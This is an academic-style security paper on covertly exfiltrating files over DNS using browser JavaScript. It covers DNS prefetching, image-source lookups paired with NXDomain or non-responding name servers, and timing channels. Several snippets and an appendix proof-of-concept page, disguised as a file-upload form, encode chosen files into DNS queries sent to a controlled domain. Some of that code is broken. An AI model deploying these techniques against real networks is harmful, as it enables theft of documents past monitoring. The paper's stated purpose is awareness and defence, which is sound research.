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Abstract 
 
Current best practices heavily control user permissions on network systems. This effectively 
mitigates many insider threats regarding the collection and exfiltration of data. Many methods of 
covert communication involve crafting custom packets, typically requiring both the necessary 
software and elevated privileges on the system. By exploiting the functionality of a browser, covert 
channels for data exfiltration may be created without additional software or user privileges. This 
paper explores novel methods of using a browser’s JavaScript engine to exfiltrate documents over 
the Domain Name System (DNS) protocol without sending less covert Hypertext Transfer Protocol 
(HTTP) requests. 
 
Introduction 
 
Covert channels are often mitigated by monitoring network traffic and enforcing a policy of least 
privileges on company systems. Firewalls and network intrusion detection systems (NIDS) greatly 
reduce covert channel possibilities by detecting and preventing protocols that are against the 
network policy. However, most networks must allow HTTP, SMTP, and DNS communication 
between internal hosts and external servers. While HTTP and SMTP are heavily monitored, DNS is 
often only investigated when NIDS detect anomalous behavior. 
 
DNS and HTTP are transactional protocols that work hand-in-hand to provide the functionality 
necessary for internet browsing. Before resources can be requested through HTTP, the web server's 
domain must be resolved to an IP address by first sending a DNS query to the authoritative name 
server for that domain. A fully qualified domain name (FQDN) is formed through a series of labels 
that separate it into subdomains, each one controlled by the subdomain to its right. RFC 1035 
specifies the allowable characters as a-Z, 0-9, and dashes (Mockapetris 1987). Additionally, the 
RFC limits the labels to 63 octets or less, with the full domain being 255 octets or less. 
 
DNS tunnels are often built by embedding data in the lower level domains (LLDs) of queries to a 
name server. The name server can then decode the data in the LLD and reply to the host by 
embedding data or commands in the DNS response. Similarly, HTTP offers bi-directional tunneling  
possibilities through methods such as request parameters, custom headers, and cookies. Channels of 
this type are known as covert storage channels because there is a storage location written to and 
read from. Covert timing channels, on the other hand, involve transmitting information through 
time values corresponding to the same response (Cabuk et al. 2009). DNS and HTTP may be used 
for covert timing channels by altering the timing between requests, or at even lower layers in the 
protocol stack by altering the timing or ordering of individual packets (El-Atawy and Al-Shaer 
2009). However, most of these methods presented  require additional software and elevated 
privileges. 
 
 
 
Related Work 
 
HTTP is the most commonly used method of bypassing restrictive network policies. GNU 
httptunnel is an example of a tunnel that allows protocols to be embedded inside HTTP requests and 
responses (httptunnel 2008). Hauser (Hauser 1998) explored covert shell exploitation by using 
HTTP request parameters to build a Reverse WWW Shell, providing command and control 
channels to the internal system. A privacy-based approach was analyzed in by Bauer (Bauer 2003) 
where an anonymous overlay network was developed using embedded cookies, redirects, and active 
content. An innovative method of bypassing website restrictions was explored using a tool known 
as Infranet (Feamster et al. 2002). Censored web pages were steganographically tunneled inside 
images and extracted at the client. 
 
Lack of monitoring has lead to DNS tunnels such as Iodine, Dns2tcp, and TCP-over-DNS growing 
in popularity (TCP-Over-DNS 2008; Dembour 2008; Iodine 2009). Covert storage channels from 
the client to the server are created by encoding data into the lower level domains of DNS, while 
responses are typically sent by storing data in TXT or NULL record types. Although many detection 
strategies have been developed, few tools are available for DNS tunnel detection. 
 
Multiple methods of creating and detecting storage timing channels was explored by Cabuk (Cabuk 
et al. 2004; Cabuk et al. 2009). One popular method involves encoding data in the interarrival time 
between packets, while another strategy uses an interval-based arrival time approach. While covert 
timing channels are the most difficult to detect, they offer little bandwidth when compared to covert 
storage channels. 
 
Data Exfiltration Over DNS 
 
DNS-based data exfiltration may be accomplished without additional software or user privileges by 
quickly implementing Javascript in a text editor that can be launched  in the system’s browser. This 
will leave only a small, overwriteable fingerprint on the file system. However, fine-grained control 
of DNS is not provided by the JavaScript API. An approach must be used that effectively separates 
DNS requests from HTTP requests, preventing the latter from ever being sent. Additionally, some 
form of bi-directional communication would be desired to provide robustness and reliability to the 
covert channel. Both of these objectives can be accomplished using many different features of 
modern browsers. 
 
To exfiltrate documents over DNS using JavaScript, the file must first be read from the local system 
and turned into a binary string, optionally compressing or encrypting it in the process. The data 
must then be encoded using the allowable DNS characters specified in RFC 1035 (Mockapetris 
1987). This can be accomplished using a modified version of base32 or base64 encoding. The final 
data representation may then be broken into segments that can be exfiltrated in separate DNS 
queries.  An example framework for accomplishing these steps using Firefox is provided in 
Appendix A. 
 
 
DNS Prefetching 
 
In order to build a covert DNS channel without sending HTTP requests, the two protocols must be 
separated using client-side JavaScript. While the language does not offer this type of fine-grained 
access to the protocols, several tricks may be used to generate the desired functionality. 
 
The simplest method of creating custom DNS queries is through the DNS prefetching functionality 
that is now implemented in most browsers by default. Prefetching allows websites to pre-resolve IP 
addresses for domains that the user will likely visit while browsing the website. This increases the 
responsiveness of future resources, allowing HTTP requests to immediately be sent to the 
prefetched domains. Below, an example is provided that can be added to the "head" section of an 
HTML document to prefetch an IP address for a domain: 
 
 <link rel="dns-prefetch" href="http://www.ThisDomainIsPrefetched.com">  
 
While this method is simple and effective, there are flaws in using this approach for data 
exfiltration. Dynamically generating and adding prefetch links to the head section of a document 
real-time does not work in some browsers. A new HTML document must be created and opened 
after generating the necessary link elements. This adds unnecessary steps to data exfiltration. 
 
A more effective method may be implemented by taking advantage of the DNS prefetching of  
anchor elements. When an anchor element is added to the body of an HTML document, a DNS 
query will be sent to resolve the IP address of the domain in the "href" attribute. This may be 
exploited by dynamically creating anchor elements with JavaScript, replacing the LLD a controlled 
(or monitored) domain with the data that should be exfiltrated to the DNS server. 
 
To prevent NIDS from triggering on a threshold limit (for instance, warning about a denial-of-
service attack), the JavaScript should add a delay between requests. While JavaScript does not have 
a "sleep" functionality to appropriately space out the DNS requests, it can created in two ways. 
Firstly, one can create a "sleep" function using the "Date" object and a while loop. However, this 
requires unecessary resources in a spin lock. Alternatively, the "setTimeout" function can be used, 
recursively calling itself as if in a loop. Below, example code is provided that demonstrates this 
approach: 
 
 var body = document.getElementsByTagName('body')[0]; 
  
 function generateQueries() { 
     if(!isLastQuery()) 
         setTimeout(generateQueries, 1000); 
      
     var anchor = document.createElement('a'); 
     anchor.href = generateNextLLD() + '.' + domain + '/' + resource; 
     body.appendChild(anchor); 
 } 
 
 generateQueries(); 
 
 
Separating DNS from HTTP 
 
Because DNS prefetching can be disabled, alternative methods may be necessary to exfiltrate data. 
Using custom JavaScript, it is possible to separate DNS queries from HTTP requests without 
exploiting prefetching. When the 'src' attribute of a dynamically created object is set (for instance, 
on a new "img" object), it will first create a DNS query to obtain the IP address for the provided 
domain. This is followed by an HTTP request for the resource at that domain. The script will not 
continue to execute until a response to the DNS query is received. There are two strategies that can 
be used to separate the HTTP request from the DNS query. 
 
Firstly, the name server can be instructed to return an "NXDomain" response for each request 
(decoding the LLD in the process). When this response is returned to the script, the code will 
continue to execute without sending an HTTP request.  However, this method will generate a heavy 
amount of "NXDomain" replies, which may alert cybersecurity if packets are sent too frequently. 
Also, some combinations of browsers and settings will  attempt to resolve these domains several 
times by retrying with IPv6 and prepending "www" to the domain name. However, some of these 
settings may be altered through the browser without additional privileges (for example, by typing 
"about:config" in the Firefox URL bar). Note that the "NXDomain" behavior mimics the behavior 
of a legimate name server, making it unnecessary to own the domain if the traffic to legimate sites is 
observable. 
 
Alternatively, a more covert method involves sending requests to a controlled domain that does not 
reply to the DNS requests (a black hole). This may force the NIDS to drop the connection after a 
timeout, failing to report it as an "NXDomain" response. However, this strategy has the problem of 
halting the JavaScript code while waiting for the DNS response. This can be mitigated by using 
JavaScript's "setTimeout(function,millis)" method once again to recursively call a query generation 
method as follows: 
 
 function generateQueries() { 
     if(!isLastQuery()) 
                     setTimeout(generateNextQuery,1000); 
      
     var img = document.createElement('img'); 
     img.src = generateNextLLD() + '.' + domain + '/' + resource; 
 } 
 
When the “src” attribute is set, the JavaScript will halt while waiting for a reply. However, the 
timeout will re-invoke the function without the previous instance ever completing. This will, in 
turn, generate the next packet and allow progress continue as if it was in a packet generation loop. 
However, it must be noted that some setups will prevent too many outstanding DNS requests (most 
commonly set at eight), which will mitigate the bandwidth of the tunnel. Many browsers will also 
repeat these queries before progress continues. 
 
 
Bi-directional Storage and Timing Channels 
 
Instead of using a constant delay between DNS queries (as seen in the examples above), data may 
also be encoded in the inter-arrival time between queries. This can be done by replacing the timeout 
time with a function that computes the desired time between sent packets. Alternatively, the 
constant timeout time can be used and followed with a conditional test that determines whether or 
not a packet should be sent for that interval. While Cabuk (Cabuk et al. 2004; Cabuk et al. 2009) 
shows that these two basic methods can be detected using statistical methods, much more complex 
timing channels can be built off these building blocks that simulate typical traffic patterns and 
delays. 
 
Similar to clients, the name servers may use covert timing channels to communicate with the client 
by altering the time between responses. This can analyzed client-side by checing the 'Date' object 
before the query is sent and again after the DNS response is returned. The “Date” object provides 
clock accuracy to the nearest millisecond. This bi-directional channel may be used for sending 
commands back to the client or for adding reliability feedback from the server. 
 
However, tools such as Traffic Controller (Wang 2009) can be used to mitigate covert timing 
channels by altering the timing of delivered packets at a position between the client and server. 
Unless delay was added that exceeds the threshold of the tool, a covert timing channel would be 
defeated. However, tools such as Traffic Controller are restricted from adding significant delays to 
traffic due to decreased browsing speeds for legitimate users. 
  
The server can alternatively create a storage covert channel through clever use of DNS responses. 
When the “generateQueries” function is called, it can check whether or not the previous response 
was received or not by altering an array of booleans after the “src” attribute is set. This provides the 
server a 1-bit per response channel to communicate with the client by alternating between 
“NXDomain” responses and not sending a response. A simplified version of accomplishing this is 
presented below: 
 
 function generateQueries(seq) { 
     if(!isLastQuery()) 
                     setTimeout(generateQueries, generateNextTimeout(), (seq+1)); 
   
     var img = document.createElement('img'); 
     img.src =  generateNextLLD() + '.' + domain + '/' + resource; 
     receivedQueries[seq] = true;   //only called when NXDomain is returned! 
 } 
 
It should be noted that maintaining an array after the 'src' attribute is set may also be used for adding 
reliability to “NXDomain” channels. Before the next packet is generated, a simple check can be 
performed whether or not a response was received for previous requests. If a response was not 
received and the previous iteration timed out, the query can be resent. Note that when the browser is 
restricted to a certain number of outstanding requests (commonly eight), this will restrict the 
bandwidth of a “black-hole” tunnel. 
 
 
Conclusions and Future Work 
 
This work presents several novel methods of covertly exfiltrating data without elevated privileges 
on a system. It is important to note that this research is done in the attitude of raising awareness as 
opposed to benefiting individuals with malicious intent. This work is presented in hopes that the 
methods proposed may be mitigated through increased monitoring and awareness. 
 
It has been shown above that covert DNS channels created through client-side JavaScript are a 
threat to network security. This problem is not easily addressed through privilege management. 
Instead, it must be mitigated through increased monitoring and awareness of the threat. 
 
Firstly, multiple methods were shown that separate DNS queries from HTTP requests. These varied 
in implementation and level of covertness. It was also shown how they could be combined to 
provide a bi-directional covert channel between the client and server. Secondly, it was shown how 
these methods could be altered to build covert timing channels through DNS queries and responses, 
also allowing bi-directional communication between the client and server. Appendex A shows a 
proof-of-concept client framework for implementing many of these ideas. 
 
Future work will explore how these techniques can be combined with popular website traffic to 
provide an extra layer of covertness and additional bandwidth. A strategy for mitigating and 
monitoring this threat will also be developed by analyzing best practices for DNS tunnel detection 
against common data exfiltration scenarios. 
 
 
 
 
Appendix A – Client Framework 
 
<html> 
<head> 
<script> 
    var domain = "mydomain.com"; 
    var LLD_size = 50; 
    var body = document.getElementsByTagName('body')[0]; 
 
    function sendQueries(argsArray) { 
        var queries = argsArray[0]; 
        var query_num = argsArray[1]; 
 
        if( (query_num+1) < queries.length) 
            setTimeout(sendQueries, getNextDelay(), [queries, query_num+1]); 
 
        if(query_num < queries.length) { 
            var anchor = document.createElement('a'); 
            var before_date = new Date(); 
            anchor.href = queries[query_num]; 
            var after_date = new Date(); 
            interpretDelay(after_date – before_date); 
            body.appendChild(anchor); 
        } 
    } 
 
    function exfiltrateFiles(files) { 
        for(var i=0; i < files.length; i++) { 
            var binString = files[i].getAsBinary(); 
            var dnsString = base64(encrypt(compress(binString))); 
            var numPackets = Math.ceil(dnsString.length/LLD_size); 
 
            var queries = new Array(); 
            var beginIndex; 
            var endIndex; 
 
            for(var i=0; i < numPackets; i++) { 
                beginIndex = i * LLD_size; 
   endIndex = beginIndex + LLD_size; 
                if(endIndex < dnsString.length) 
                    endIndex = data.length; 
 
                var nextLLD = addSequencing(data.substring(beginIndex, endIndex)); 
                queries[i] = nextLLD + '.' + domain + '/' + generateFakeResource(); 
        } 
        var argsArray = [queries, 1]; 
        sendQueries(argsArray); 
    } 
     
</script> 
</head> 
<body> 
    <center> 
    <p>Please choose a document to upload </p> 
    <form id="file_form" method=post enctyp="multiparty/form-data"> 
        <input type=file id="input" multiple="true /> 
        <input type=button name="Submit" value="Submit"     
 onclick="exfiltrateFiles(document.getElementById('input').files)" /> 
    </form> 
</body> 
</html> 
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